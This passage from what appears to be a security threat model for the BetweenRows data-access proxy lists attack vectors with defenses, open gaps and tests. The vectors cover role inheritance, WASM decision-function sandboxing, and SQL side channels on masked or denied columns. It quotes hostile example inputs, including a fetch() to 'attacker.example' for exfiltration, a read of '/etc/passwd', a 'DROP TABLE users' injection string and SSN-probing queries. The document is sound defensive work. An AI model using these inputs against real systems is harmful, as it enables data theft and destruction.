**Vector**: The admin UI's Members tab for a parent role lists all effective members reachable through inheritance and annotates each entry with "via role '(name)'" to show how the membership arose. If the annotation names the wrong role, admins make incorrect decisions about where to revoke a membership — removing a user from the wrong role either fails to revoke their access or over-revokes from an unrelated role.

**Attacks**:

1. **Annotation shows top-level role instead of direct-member role** — parent role `data-analysts`, child role `data-architect` (which inherits from `data-analysts`), user U is a direct member of `data-architect`; when viewing `data-analysts`'s effective members, U's annotation must say "via role 'data-architect'" (the role U is actually a member of), not "via role 'data-analysts'" (the role being viewed)

**Defense**: `resolve_effective_members()` in `role_resolver.rs` performs a BFS downward from the viewed role and annotates each reached member with the `child_id` of the role they are directly a member of — not the `role_id` being viewed, and not the intermediate parent role in the traversal. The source label correctly identifies the single role whose direct membership produces the effective membership.

**Previously**: Both BFS levels in `resolve_effective_members()` used `all_roles.get(&role_id)` (the top-level role being viewed) or `all_roles.get(&current)` (the intermediate parent) for the source-label name lookup, instead of `all_roles.get(&child_id)` (the actual child role). Admins viewing a parent role's members saw annotations pointing at the parent or intermediate roles, misdirecting any subsequent "remove this member" action.

**Tests**:

* `role_resolver::tests::u13_resolve_all_members` (unit) — verifies BFS downward member collection and source annotation

***

### 45. Role deletion cascade integrity

**Vector**: Deleting a role with active members, inheritance edges, policy assignments, and datasource-access entries must leave no orphaned references. Orphan rows pointing at a deleted `role_id` would cause runtime resolution errors on every affected user's query, effectively breaking access for the survivors.

**Attacks**:

1. **Delete role with full set of references** — create role R with members, an inheritance edge as both parent and child, a direct datasource-access row, and a role-scoped policy assignment; `DELETE /roles/{id}` must remove R and all referring rows

**Defense**: All foreign-key relationships that reference `role.id` use `ON DELETE CASCADE` in the schema: `role_inheritance` (both `parent_id` and `child_id`), `user_role` (member links), `data_source_access` (when `scope = 'role'`), and `policy_assignment` (when `assignment_scope = 'role'`). The delete handler performs the `DELETE` inside an `AuditedTxn` that records an `Unassign` audit entry for each cascaded policy assignment before the cascade completes (see vector 49).

**Tests**:

* `policy_enforcement::rbac_19_role_delete_cascades` (integration) — attack 1

***

### 47. Inactive role cannot be granted datasource access

**Vector**: Admin attempts to grant datasource access to an inactive (deactivated) role. If the grant is accepted, the role's access entry sits dormant in `data_source_access` — then the moment anyone reactivates the role, all members unexpectedly gain access to that datasource without any fresh explicit grant decision. This "access time bomb" means reactivation silently re-enables grants that no current admin necessarily authorized.

**Attacks**:

1. **Grant access to deactivated role** — admin calls `PUT /datasources/{id}/access/roles` including an inactive role; must return HTTP 400 (not 204)

**Defense**: `set_datasource_role_access` validates `is_active` on every role before inserting any access entry. Inactive roles in the submitted list cause the entire request to fail with HTTP 400 before any row is written — the validation runs before the delete-and-insert phase.

**Tests**:

* `policy_enforcement::rbac_74_set_datasource_role_access_rejects_inactive_role` (integration) — attack 1 (create role, grant access succeeds with 204, deactivate role, second grant attempt returns 400)

***

### 48. TOCTOU in role inheritance cycle detection

**Vector**: Two concurrent `add_parent` requests could each individually pass cycle detection (because neither has seen the other's insert yet) but together produce a cycle when both commit. A non-atomic detect-then-insert is a classic time-of-check-to-time-of-use window.

**Attacks**:

1. **Concurrent add\_parent racing to create a cycle** — request R1 inserts edge A→B while request R2 simultaneously inserts edge B→A; without serialization, both pass the cycle check (neither sees the other's edge) and both commit, creating a cycle

**Defense**: `add_parent` wraps `detect_cycle` + `check_inheritance_depth` + the actual `INSERT` inside a single database transaction. SQLite's single-writer serialization ensures that the second concurrent transaction cannot see partial state — it either sees the first request's insert (and therefore detects the cycle) or waits for the first to commit before beginning its own detection pass. The check-and-insert pair is atomic.

**Tests**:

* Structural verification: the TOCTOU fix is enforced by the transaction boundary, not by a specific behavioral test. `policy_enforcement::rbac_15_cycle_detection_abc` (vector 35) and `policy_enforcement::rbac_16_self_referential_rejected` (vector 36) cover the detection behavior; the TOCTOU property follows from running those checks inside a serializable transaction.

***

## Decision Functions — Vectors 50–56

### 50. WASM sandbox escape

**Vector**: A decision function with malicious JavaScript attempts to break out of the WASM execution sandbox to read host filesystem, open network connections, execute arbitrary native code, or exfiltrate data from the proxy process. Policy authors can be untrusted in multi-tenant deployments, so the sandbox must hold against hostile code that's allowed to define policies but not to run arbitrary host code.

**Attacks**:

1. **File I/O attempt** — decision function calls `Deno.readFile('/etc/passwd')` or similar filesystem API
2. **Network attempt** — decision function calls `fetch('https://attacker.example/...')` to exfiltrate context data
3. **Unregistered WASM import** — decision function's WASM binary imports a host function not in the provided stub set, attempting to link against something that doesn't exist

**Defense**: wasmtime provides a hardware-enforced memory sandbox — WASM linear memory is isolated, and host calls can only happen through the `Linker` which explicitly registers each allowed import. BetweenRows' `Linker` exposes only WASI preview 1 stubs for stdin/stdout/stderr (`fd_read`, `fd_write`). No filesystem, no network, no process, no clock-with-real-precision, no environment variables. Any import request for an unregistered function causes `Module::instantiate()` to fail before any guest code runs. At the JavaScript level, Javy (the JS runtime compiled to WASM) deliberately excludes `Deno`, `Node`, `fetch`, and similar host-bridging APIs — they're not in the Javy binary, so calling them at guest level produces a plain "undefined is not a function" runtime error, never a host call.

**Tests**: Verified by construction — the Javy binary does not include filesystem/network APIs, and the `Linker` in `wasm.rs` is the single source of allowed imports (inspection-level guarantee). No specific automated test attempts escape because the sandbox boundary is enforced by wasmtime's type system: an unregistered import cannot pass module instantiation.

***

### 51. Fuel exhaustion DoS

**Vector**: A malicious or buggy decision function enters an infinite loop or performs unbounded computation, blocking the query-processing thread and denying service to other users of the proxy.

**Attacks**:

1. **Infinite loop in decision function** — `while (true) {}` or equivalent; must be caught by fuel metering and dispatched to the policy's `on_error` setting (deny or skip)
2. **Slow but terminating computation** — a loop of, say, 10^8 iterations that would take many seconds; must either complete within the fuel budget or abort with a fuel-exhaustion trap, never blocking the async runtime for more than the spawn\_blocking slot allows

**Defense**: wasmtime fuel metering caps execution at `DEFAULT_FUEL_LIMIT = 1,000,000` WASM instructions (configured in `wasm.rs`). Fuel is decremented on every instruction; on exhaustion, wasmtime raises a fuel-exhaustion trap that `evaluate_wasm` catches as `RuntimeError::ExecutionError`. The policy's `on_error` setting then takes over: `"deny"` fires the policy (fail-secure), `"skip"` skips it. Evaluation itself runs on a `tokio::task::spawn_blocking` thread, so a slow decision function blocks only its own blocking pool slot, not the async runtime — other concurrent queries continue to be processed normally.

**Tests**:

* `policy_enforcement::df_on_error_deny_fires` (integration) — attack 1 with `on_error = "deny"` (broken WASM triggers the error path, policy fires)
* `policy_enforcement::df_on_error_skip_does_not_fire` (integration) — attack 1 with `on_error = "skip"` (same broken WASM, policy skips instead)

***

### 52. Cross-policy state leakage between evaluations

**Vector**: A decision function caches state in a WASM global variable, a module-level `let`, or the JavaScript heap. A subsequent evaluation — for a different user, a different query, or a different policy — picks up the residual state and makes an incorrect decision based on the *previous* user's context. This is especially dangerous for tenant-isolation decision functions: user B's policy evaluation could read user A's tenant ID.

**Attacks**:

1. **Global variable carries over between users** — decision function stores `ctx.session.user.tenant` in a top-level `let` during user A's evaluation; user B's subsequent evaluation reads the stale value instead of their own tenant

**Defense**: `evaluate_wasm` creates a fresh wasmtime `Store` and instantiates a new WASM module instance for every single evaluation call. WASM linear memory, stack, and globals are reset on each instantiation — there is no shared heap between evaluations. The compiled `Module` is cached by `(policy_id, version)` to avoid re-compiling the same bytecode, but the *instance* (which holds runtime state) is never reused across calls.

**Tests**: Structural verification via code review: `evaluate_bytes()` in `decision/wasm.rs` constructs a new `Store` and calls `Module::instantiate()` on every invocation, so there is no retained guest state. The sandbox isolation is a direct property of wasmtime's instance model; no behavioral test is needed to verify it beyond demonstrating that the module cache is keyed on the module, not the instance.

***

### 53. SQL injection via decision function return value

**Vector**: A decision function returns a value crafted to be interpolated into SQL — e.g., a string containing SQL fragments — in the hope that the proxy stringifies the return value and concatenates it into the rewritten query, allowing injection of arbitrary clauses.

**Attacks**:

1. **String fragment in fire** — decision function returns `{ fire: "1=1; DROP TABLE users" }`; must be rejected at the result-validation stage, not interpolated anywhere
2. **Object with SQL in nested field** — return `{ fire: true, extra: "OR 1=1" }`; extra fields must be ignored or the shape rejected

**Defense**: The `fire` return value is extracted via `.as_bool()` on the parsed JSON. Only `true` or `false` affect policy behavior — no part of the return value is ever used in SQL construction, interpolation, or rewriting. The policy simply fires or doesn't. If the return shape is not `{ fire: boolean }`, the Javy harness throws before the result reaches `evaluate_wasm`'s caller, and the error propagates as `RuntimeError::InvalidResult`. The two-layer rejection (harness type check + `.as_bool()` strictness) prevents any non-boolean from affecting policy state. The architectural invariant is: decision functions are pure predicates, never data providers.

**Tests**:

* `decision::wasm::tests::test_validate_bad_return` (unit) — attacks 1, 2 (function returning `{ wrong: "shape" }` fails; function returning `{ fire: 1 }` or `{ fire: "yes" }` fails)

***

### 54. Admin-authored decision function bypassing a deny policy

**Vector**: An admin with policy-write privileges attaches a decision function that always returns `fire: false` to a `table_deny` or `column_deny` policy — effectively disabling the deny without removing the assignment row. The deny appears active in the policy list but never fires, silently granting access. The attacker's goal is to disable protection without leaving an obvious trace.

**Attacks**:

1. **Inert deny via always-false decision fn** — admin attaches a decision function that returns `{ fire: false }` unconditionally to a `table_deny` on `customers`; the table becomes queryable

**Defense**: This is an *authorized* action, not a bypass — an admin with policy-write privileges can disable a deny policy by any mechanism (unassigning it, disabling it via `is_enabled = false`, or attaching a `fire: false` decision function). The defense is not prevention but **full traceability**:

* The policy mutation (attaching a decision function) is written to `admin_audit_log` inside the `AuditedTxn` (see vector 49). The entry records the `decision_function_id` change, the admin actor, and the before/after policy snapshot.
* At query time, every policy skip due to `fire: false` is recorded in `policies_applied` in the query audit log, with the full decision result attached. So every query that benefited from the bypass has a direct paper trail pointing back to both the admin action and the decision evaluation result.
* The semantics are intentional and match `is_enabled = false`: both are opt-out mechanisms that an admin is allowed to use.

**Tests**: Verified end-to-end via the audit log tests in vector 21 (`tc_audit_01_success_audit_status` confirms `policies_applied` is populated in audit rows) and the `AuditedTxn` tests in vector 49 (confirming policy mutations cannot escape the audit log). Specific behavioral coverage: `policy_enforcement::df_column_deny_visibility_fire_false` / `df_column_deny_visibility_fire_true` (vector 57) demonstrate that `fire: false` does skip the policy.

***

### 55. Corrupted WASM binary must not crash the proxy

**Vector**: A decision function's stored `decision_wasm` bytes become invalid — truncated on disk, bit-flipped in storage, manually edited in the DB, or produced by a broken compile pipeline. At query time, wasmtime fails to parse the module. A naive implementation that treats module instantiation as infallible would crash the proxy process on the failing query, taking down all active connections. Even a less drastic "fail loud with a panic" behavior would provide an amplification primitive for DoS.

**Attacks**:

1. **Invalid WASM bytes in policy** — `decision_wasm` is `vec![0u8; 10]` (not a valid WASM binary); the proxy must handle the compile failure gracefully and apply the policy's `on_error` setting
2. **Truncated valid module** — first half of a valid module only; same requirement

**Defense**: `Module::new(&engine, wasm_bytes)` in wasmtime returns `Result<Module, Error>` on parse/validation failure. `evaluate_wasm` catches the error as `RuntimeError::ExecutionError` and dispatches to the policy's `on_error` setting: `"deny"` fires the policy (fail-secure — the query is denied), `"skip"` skips it (policy is inert for this query). The error is logged via `tracing::error!` so the operator can see that a stored binary is broken. The query continues with the result of the `on_error` decision and the proxy does not crash. No panics, no unwraps, no `.expect()` on the compile result.

**Tests**:

* `policy_enforcement::df_on_error_deny_fires` (integration) — attack 1 with `on_error = "deny"`
* `policy_enforcement::df_on_error_skip_does_not_fire` (integration) — attack 1 with `on_error = "skip"`

***

### 56. Non-boolean `fire` return must be rejected

**Vector**: A decision function returns a truthy-but-non-boolean value for `fire` — e.g., `1`, `"yes"`, `{}`, `[]`, `null` — hoping that JavaScript truthiness conversion silently treats it as `true`. In a permit policy this would let any non-empty value grant access; in a deny policy it would let any non-empty value block access. Either way, policy decisions become dependent on JavaScript type coercion rules rather than explicit boolean logic, which is both subtle and easy to get wrong in ways that silently flip policy outcomes.

**Attacks**:

1. **Numeric truthy** — `return { fire: 1 }`
2. **String truthy** — `return { fire: "yes" }`
3. **Null/undefined** — `return { fire: null }` or a function that never returns
4. **Wrong shape entirely** — `return { wrong: "shape" }` (no `fire` field at all)

**Defense**: Two layers of strict type checking:

1. The Javy harness wraps the user function and validates the return shape before writing to stdout: `typeof result.fire !== 'boolean'` causes `throw new Error(...)`, which propagates as `RuntimeError::ExecutionError` and dispatches to `on_error`.
2. `evaluate_wasm` in Rust calls `.as_bool()` on the parsed JSON value, which returns `None` for any non-boolean (including JSON `null`, numbers, and strings). A `None` is converted to `RuntimeError::InvalidResult`.

Both layers reject non-boolean `fire` values independently — the JS harness catches most cases before the value crosses the sandbox boundary, and the Rust `.as_bool()` is the backstop.

**Tests**:

* `decision::wasm::tests::test_validate_bad_return` (unit) — attacks 1, 2, 4

***

### 49. Admin mutations and their audit entries must be atomic

**Vector**: Every admin-facing mutation (role, policy, datasource, user, decision-function, attribute-definition CRUD) must record an audit row atomically with the data change — either both commit or neither does. Non-atomic patterns create three failure modes: (1) the mutation succeeds but the audit write fails, producing an unaudited change; (2) the audit write succeeds but the mutation fails, producing a phantom audit row for a change that didn't happen; (3) cache invalidation runs before the commit, exposing stale reads during the window between invalidation and commit.

**Attacks**:

1. **Non-atomic mutation + audit** — any mutation handler that writes the entity on `&state.db` and the audit on `&state.db` in separate statements must be caught and rewritten
2. **Empty-commit with no audit entries** — a handler that calls `AuditedTxn::commit()` without queuing any audit entries must return an error, not a silent empty commit
3. **Cache invalidation before commit** — a handler that invalidates caches before `txn.commit()` returns must be caught, because concurrent reads in the invalidation window serve stale data then re-populate the cache with pre-commit state
4. **Unaudited cascade** — `delete_role` must audit each cascaded policy-assignment deletion as `Unassign` before the cascade completes

**Defense**: All mutation handlers use `AuditedTxn` (from `admin_audit.rs`), a type-enforced wrapper around `DatabaseTransaction` that queues audit entries via `txn.audit(...)` and writes them atomically on `commit()`. Three invariants are enforced by the type system:

* Audit entries are queued *inside* the transaction and flushed during `commit()`, so they're atomic with the data change.
* `AuditedTxn::commit()` returns an error if no audit entries have been queued, preventing a mutation handler from accidentally skipping the audit.
* Dropping an `AuditedTxn` without committing rolls back both the data change and the queued audit entries.

The old `audit_delete` / `audit_insert` helpers that took a raw `&DatabaseConnection` have been removed, so the non-atomic pattern is unrepresentable. Cache invalidation is deliberately moved *after* `txn.commit()` in `remove_parent` and all other handlers that touch inheritance or access state.

**Previously**: Several handlers performed mutations and audit writes as separate statements on the raw `&state.db`, or called `audit_log()` after `txn.commit()` rather than inside the transaction. `create_role` and `update_role` wrote the mutation and the audit as two distinct non-atomic statements. `set_datasource_users` committed the mutation inside a transaction and then wrote the audit separately on `&state.db` — if the audit insert failed, the datasource change persisted with no record. `delete_role` failed to audit any cascaded policy-assignment deletions. `remove_parent` invalidated caches before `txn.commit()`, so a concurrent reader in the invalidation window would re-populate the cache with the pre-commit state.

**Tests**:

* `admin::admin_audit::tests::audited_txn_commits_with_entries` (unit) — normal success path
* `admin::admin_audit::tests::audited_txn_rejects_empty_commit` (unit) — attack 2 (empty commit returns error)
* `admin::admin_audit::tests::audited_txn_rollback_on_drop` (unit) — dropping without committing rolls back both data and audit
* `admin::admin_audit::tests::audited_txn_multiple_entries` (unit) — attack 4 (cascaded audit entries all commit atomically)

***

### 57. Visibility-level enforcement must evaluate decision functions on visibility-affecting policies

**Vector**: A `column_deny`, `column_allow`, or `table_deny` policy with a decision function attached must have the decision function evaluated at visibility time (i.e., during connection setup) if the function's `evaluate_context` is `"session"`. If the visibility-computation path ignores decision functions entirely, the policy fires unconditionally — meaning decision functions on visibility-affecting policies become inert, and every such policy is always applied regardless of what the function returns.

**Attacks**:

1. **column\_deny with session-context fire:false not skipped** — policy denies `ssn` with an attached session decision function that returns `fire: false`; the column must be visible in the user's query results because the decision function said "don't fire"
2. **column\_deny with session-context fire:true is applied** — same shape but fire:true; the column must be hidden (control case)
3. **table\_deny with session-context fire:false not skipped** — conditional `table_deny` with fire:false; the table must remain accessible

**Defense**: `compute_user_visibility()` loads decision functions for visibility-affecting policies (`policy_type.affects_visibility() == true`, covering `column_allow`, `column_deny`, `table_deny`), builds a session context with `build_session_context()`, and evaluates each decision function via `evaluate_visibility_decision_fn()`. If the function returns `{ fire: false }`, the policy is skipped at visibility time — the column stays in the schema, the table stays in the catalog. The shared `Arc<WasmDecisionRuntime>` is reused from `EngineCache` so there's no extra runtime construction per connection.

**Previously**: `compute_user_visibility()` loaded all assigned visibility-affecting policies and applied them unconditionally without ever consulting their decision functions. Decision functions on `column_allow`, `column_deny`, and `table_deny` were silently ineffective — the policies always fired as though no gate existed — so admins who tried to build "deny only if the user is outside business hours" or "allow only for analysts" conditional visibility policies saw no effect and had no indication that their decision functions were being ignored.

**Tests**:

* `policy_enforcement::df_column_deny_visibility_fire_false` (integration) — attack 1
* `policy_enforcement::df_column_deny_visibility_fire_true` (integration) — attack 2
* `policy_enforcement::df_table_deny_conditional` (integration) — attack 3

***

### 58. Query-context decision functions on visibility-affecting policies must defer enforcement to query time

**Vector**: A `column_deny` (or other visibility-affecting) policy is configured with `evaluate_context = "query"`, meaning the decision function needs access to query metadata (table list, column list, statement type) that doesn't exist at connection time. The visibility-computation path must *not* evaluate the function at connect time with partial context — doing so would either produce the wrong result, force the decision function to handle a meaningless "empty query" context, or block connection setup while waiting for query metadata that won't arrive until the user runs a query.

**Attacks**:

1. **Query-context decision function with fire:false must not be applied at visibility time, must be evaluated at query time** — `column_deny` with a query-context decision function returning `fire: false`; the column must stay in the schema at connect time (visibility-level effect skipped) and the query-time evaluation must return `fire: false` so the column is not denied at runtime either
2. **Query-context decision function that depends on `ctx.query.username`** — conditional `column_deny` that fires only for non-admin users; non-admin users running the query see the column denied, admins see it

**Defense**: `evaluate_visibility_decision_fn()` short-circuits to `false` (skip visibility effect) when the decision function's `evaluate_context == "query"`. The policy is then enforced at query time by `PolicyEffects::collect()` via the defense-in-depth top-level `Projection` rewrite — where the full query context is available and the decision function can evaluate properly. This two-phase evaluation means query-context decision functions behave consistently: they never see partial context at visibility time, and they always see full context at query time.

**Tests**:

* `policy_enforcement::df_column_deny_query_ctx_skipped_at_visibility` (integration) — attack 1
* `policy_enforcement::df_column_deny_query_ctx_username_check_deferred` (integration) — attack 2

***

### 59. Predicate probing on masked or denied columns

**Vector**: A user who cannot see `ssn` values (because the column is masked or denied) uses `WHERE ssn = '...'` to test whether a specific SSN exists, enumerating values through observable row counts without ever seeing the raw column.

**Attacks**:

1. **Bare WHERE probe** — `SELECT id FROM customers WHERE ssn = '123-45-6789'`
2. **Correlated EXISTS probe** — `SELECT COUNT(*) FROM orders o WHERE EXISTS (SELECT 1 FROM customers c WHERE c.ssn = '123-45-6789' AND c.id = o.customer_id)`
3. **VALUES-clause JOIN probe** — `SELECT c.id FROM customers c JOIN (VALUES ('123-45-6789')) AS v(ssn) ON c.ssn = v.ssn`

**Defense**: *Not yet implemented for column\_deny.* Planned approach: denied column references appearing in `WHERE`, `JOIN`, or `EXISTS` predicates are rejected at plan-rewrite time or rewritten to `lit(false)`, preventing the probe from returning observable row-count signals. For `column_mask`, the raw column remains accessible in predicate positions by design — the mask only affects projection output — so predicate probing against masked columns is an accepted trade-off (see Status).

**Status**: *Unmitigated for column\_deny* — denied-column predicate blocking is tracked as a TODO. *Accepted trade-off for column\_mask* — use `column_deny` for columns where predicate probing must also be blocked.

**Tests**: *None — see Status*

***

### 60. Aggregate inference on masked or denied columns

**Vector**: User applies aggregate functions to masked or denied columns hoping to extract statistical properties that the raw-value suppression was intended to hide. Cardinality (`COUNT(DISTINCT`), range (`MIN`/`MAX`), and group structure (`GROUP BY`) can each leak identifying information even when individual values are hidden.

**Attacks**:

1. **COUNT(DISTINCT masked)** — `SELECT COUNT(DISTINCT ssn) FROM customers`; must operate on masked values (collapsed cardinality), not raw
2. **MIN/MAX on masked numeric** — `SELECT MIN(salary), MAX(salary) FROM employees`; must return masked bounds, not raw
3. **COUNT(DISTINCT denied)** — same query, `ssn` denied; must error at plan time (column not in schema)
4. **MIN/MAX on denied numeric** — same, `salary` denied; must error at plan time
5. **GROUP BY with small groups** — `SELECT department, COUNT(DISTINCT ssn), MIN(salary), MAX(salary) FROM employees GROUP BY department`; for a department of size 1, MIN=MAX on a mask reveals the masked value but not the raw

**Defense**: For `column_mask`, masks are applied at `TableScan` level via `apply_column_mask_at_scan` — every aggregate operates on masked values, so `COUNT(DISTINCT)` collapses to the cardinality of the mask's range (1 for constant masks), and `MIN`/`MAX` return the bounds of the masked distribution. The raw values never leave the scan, so aggregation cannot recover them. For `column_deny`, the column is stripped from the schema entirely and any aggregate referencing a denied column fails at plan time with a column-not-found error.

**Status**: *Accepted trade-off for column\_mask* — mask-preserving aggregates still leak statistical properties proportional to the mask's information content (last-4-digit masks leak more than constant masks). Admins should use `column_deny` for high-sensitivity columns where even aggregate inference must be blocked.

**Tests**:

* `policy_enforcement::aggregate_count_distinct_on_masked_column` (integration) — attack 1
* `policy_enforcement::aggregate_min_max_on_masked_column` (integration) — attack 2
* `policy_enforcement::aggregate_count_distinct_on_denied_column` (integration) — attack 3
* `policy_enforcement::aggregate_min_max_on_denied_column` (integration) — attack 4

***

### 61. EXPLAIN plan metadata leakage

**Vector**: User runs `EXPLAIN` or `EXPLAIN ANALYZE` on a query, and the plan output — which is returned to the user as a result set — reveals policy internals that the user should not see. The query plan acts as a side channel exposing the shape of row filters, the existence of columns that are otherwise hidden by `column_deny`, and (depending on the error path) table names hidden by `table_deny`.

**Attacks**:

1. **Row filter expression leaked** — `EXPLAIN SELECT * FROM orders` with an active `row_filter` on the user's tenant; the plan output shows `Filter: organization_id = 'tenant-123'`, revealing both the filter column and the user's own tenant value (which may itself be sensitive)
2. **Column visibility probe** — `EXPLAIN SELECT * FROM customers` with a `column_deny` on `ssn`; the expanded column list in the plan reveals whether `ssn` exists at all
3. **Table existence probe via EXPLAIN error** — `EXPLAIN SELECT * FROM secret_table` where `secret_table` is blocked by `table_deny`; error-message equivalence (vector 26) must also hold for the EXPLAIN path

**Defense**: *Not yet implemented.* Planned approach: one or a combination of — (a) strip injected filter expressions and mask expressions from EXPLAIN output before returning it to non-admin users; (b) block `EXPLAIN`/`EXPLAIN ANALYZE` entirely for non-admin users via the hook chain; (c) return a sanitized plan that shows the user's *logical* query structure without the proxy's rewrites. Needs investigation into exactly what DataFusion's `EXPLAIN` exposes at each verbosity level and whether sanitization can be done post-hoc on the output string.

**Status**: *Unmitigated* — EXPLAIN output sanitization is tracked as a TODO. Deployments that need strict metadata hiding should disable EXPLAIN via the allowlist in `ReadOnlyHook` until a proper sanitizer is implemented.

**Tests**: *None — see Status*

***

### 62. HAVING clause on masked or denied column

**Vector**: User places an aggregate-based predicate in a `HAVING` clause referencing a masked or denied column, hoping the grouping filter evaluates against raw values (revealing which groups contain high earners, specific individuals, etc.) even though the column is masked in the `SELECT` output.

**Attacks**:

1. **HAVING on masked column (constant mask)** — `SELECT department FROM employees GROUP BY department HAVING MAX(salary) > 100000` where `salary` is masked to `0`; must return zero rows (HAVING sees masked zero, not raw salary)
2. **HAVING on masked column (derived mask)** — same query with a `last-two-digits` mask; must return zero rows for the `> 100000` threshold and `SELECT dept, MAX(salary) ... GROUP BY dept` must return the per-row masked maximum, not the raw
3. **HAVING on denied column** — `HAVING MAX(salary) > 100000` where `salary` is denied; must error at plan time (column not in schema)

**Defense**: `column_mask` is applied at `TableScan` level via `apply_column_mask_at_scan`, so the mask `Projection` sits directly above the scan. Every downstream plan node — including the aggregation feeding `HAVING` — operates on the masked value. DataFusion's plan rewrite propagates the masked column reference through the aggregation, so `MAX(salary)` becomes `MAX(mask_expr)` and `HAVING` evaluates against the masked aggregate. `column_deny` removes the column from the schema entirely, so any `HAVING` clause referencing it fails at plan time.

**Tests**:

* `policy_enforcement::having_clause_on_masked_column_constant_mask` (integration) — attack 1
* `policy_enforcement::having_clause_on_masked_column_derived_mask` (integration) — attack 2
* `policy_enforcement::having_clause_on_denied_column` (integration) — attack 3

***

### 63. String aggregation on masked or denied column

**Vector**: User calls `STRING_AGG` (or similar collecting aggregate) on a masked or denied column, hoping to collect bulk raw values into a single concatenated string that bypasses row-level display restrictions. Even for partially-masked columns (e.g. last-4 digits), bulk collection combined with other columns (names, IDs) can enable re-identification.

**Attacks**:

1. **STRING\_AGG on masked column** — `SELECT string_agg(ssn, ',') FROM customers` where `ssn` is masked; must concatenate masked values only, never raw. The rewritten query sent to upstream Postgres must also contain only masked values (aggregate pushdown must not leak raw data upstream).
2. **STRING\_AGG on denied column** — same shape, `ssn` denied; must error at plan time

**Defense**: For `column_mask`, the mask `Projection` sits directly above the `TableScan`, so `STRING_AGG` operates on masked values throughout — whether DataFusion computes the aggregate locally or pushes it down to upstream Postgres via `SqlExec`, the unparsed SQL references the mask expression, not the raw column. For `column_deny`, the column is removed from the schema at visibility time; any `STRING_AGG(denied_col, ...)` reference fails at plan time with column-not-found.

**Status**: *Accepted trade-off for column\_mask* — bulk collection of masked values is an inherent property of masking (any aggregate the user can run, they can run on masked values). Rate limiting and query-pattern auditing are the appropriate mitigations; masks alone cannot prevent bulk inference when the mask preserves partial information.

**Tests**:

* `policy_enforcement::string_agg_on_masked_column` (integration) — attack 1 (includes pushdown introspection: asserts `rewritten_query` in `/api/v1/audit/queries` contains no raw SSN substring)
* `policy_enforcement::string_agg_on_denied_column` (integration) — attack 2

***

### 64. CASE expression bypass of column\_deny

**Vector**: User embeds a denied column inside a `CASE` expression (or any compound expression) in the `SELECT` list. The returned value is a derived label that exposes information about the raw column without naming it directly, effectively smuggling a `WHERE` probe into the projection.

**Attacks**:

1. **Existence probe via CASE** — `SELECT CASE WHEN ssn IS NOT NULL THEN 'has_ssn' ELSE 'no_ssn' END FROM customers` where `ssn` is denied; reveals per-row whether the column has a value
2. **Prefix match probe via CASE** — `SELECT CASE WHEN ssn LIKE '123%' THEN 'match' ELSE 'no' END FROM customers`; equivalent to a WHERE probe embedded in the projection
3. **Indirect reference via COALESCE or function call** — `SELECT COALESCE(ssn, 'none') FROM customers` or `SELECT LENGTH(ssn) FROM customers`

**Defense**: *Not yet fully implemented.* Current behavior: the deny engine strips denied column names from the top-level `Projection` expression list, but does not recursively trace column references through compound expressions (`CASE`, `COALESCE`, function arguments). A rigorous defense must walk the entire expression tree via `Expr::column_refs()` and reject any expression whose dependency set contains a denied column, mirroring the "column reference" policy applied to bare column selections.

**Status**: *Unmitigated* — recursive expression-tree denial is tracked as a TODO. `column_deny` currently protects against direct column references only.

**Tests**: *None — see Status*

***

### 65. Window function ordering leaks masked column ranking

**Vector**: User applies a window function whose `ORDER BY` clause references a masked column, hoping the window's ordering operates on raw values while the projection output shows masked values. The `ROW_NUMBER` / rank output then reveals the relative ordering of raw values, which combined with a few known values enables re-identification.

**Attacks**:

1. **ROW\_NUMBER over masked column (constant mask)** — `SELECT id, ROW_NUMBER() OVER (ORDER BY salary) FROM employees` where `salary` is masked to `0`; all rows see tied masked values, `rn` is a permutation (ordering undefined), projected salary is `0`
2. **ROW\_NUMBER over masked column (derived mask)** — salaries `12340/56781/9002` for ids `1/2/3`, mask is `last digit` producing `0/1/2`. Raw `ORDER BY` would assign `rn` as `2/3/1` per id; masked `ORDER BY` assigns `1/2/3`. The assertion must match the masked ordering exactly — any divergence means the window function saw raw values
3. **ROW\_NUMBER over denied column** — same query with `salary` denied; must error at plan time

**Defense**: The mask `Projection` sits directly above the `TableScan` in the plan tree. Every downstream plan node — including `Window` nodes and their `ORDER BY` expressions — resolves `salary` to the masked expression, not the raw column. DataFusion's planner binds the window function's column reference to the output of the mask projection, so the sort key used by the window function is the masked value. For `column_deny`, the column is removed from the schema and any window `ORDER BY` referencing it fails at plan time.

**Tests**:

* `policy_enforcement::window_row_number_order_by_masked_column_constant_mask` (integration) — attack 1
* `policy_enforcement::window_row_number_order_by_masked_column_derived_mask` (integration) — attack 2 (definitive: the derived mask produces a different ordering than raw, and the asserted mapping is the masked one)
* `policy_enforcement::window_row_number_order_by_denied_column` (integration) — attack 3

***

### 66. Timing side channel on denied tables

**Vector**: Even if the error *message* for a denied table is indistinguishable from a genuinely non-existent table (vector 26), the *response time* might differ enough to let an attacker distinguish "exists but denied" from "does not exist." For example, an early-exit path for denied tables that short-circuits before planning would return faster than a planner error for a missing table.

**Attacks**:

1. **Timing probe** — attacker measures response time for queries against suspected table names (both denied and non-existent), looking for a measurable distribution difference

**Defense**: `table_deny` removes the table from the per-user catalog at connection time, so queries against a denied table take the same planner code path as queries against a genuinely non-existent table — the planner performs a catalog lookup, fails to find the table, and returns a plan error. There is no "denied-table early exit" that would create an observable timing divergence. The invariant is a design principle: no code path may short-circuit on `table_deny` in a way that produces a different latency profile from a missing-table lookup.

**Status**: *Accepted trade-off* — timing-channel equivalence is difficult to verify automatically because measurements are noisy and platform-dependent. The defense is enforced by code review: any change that adds an early-exit path for denied tables must be caught at review time. Error-message equivalence (the high-bandwidth side channel) is covered by vector 26 and is tested automatically.

**Tests**: *None directly for timing* — covered transitively by vector 26 for error-message equivalence (`policy_enforcement::deny_policy_row_filter_rejected`, `policy_enforcement::tc_audit_02_denied_audit_status`).

***

## ABAC (User Attributes) — Vectors 67–68

### 67. Attribute-based built-in field override

**Vector**: Admin defines a user attribute whose key collides with a reserved built-in field name (`username`, `id`, `user_id`, `roles`), hoping to override `{user.username}` or `{user.id}` in policy expressions and impersonate another user — either by setting their own attribute to another user's username, or by leveraging role membership to control an attribute the policy author never intended to be user-controlled.

**Attacks**:

1. **Reserved attribute key at API layer** — create an attribute definition with `key = "username"` and `entity_type = "user"`; must return HTTP 422
2. **Runtime built-in priority** — even if a reserved-name attribute somehow existed in the `attributes` JSON column (bypassing the API, e.g., via direct DB edit), `{user.username}` and `{user.id}` must resolve to the authenticated user's actual username/ID, not the attribute value

**Defense**: Two independent layers:

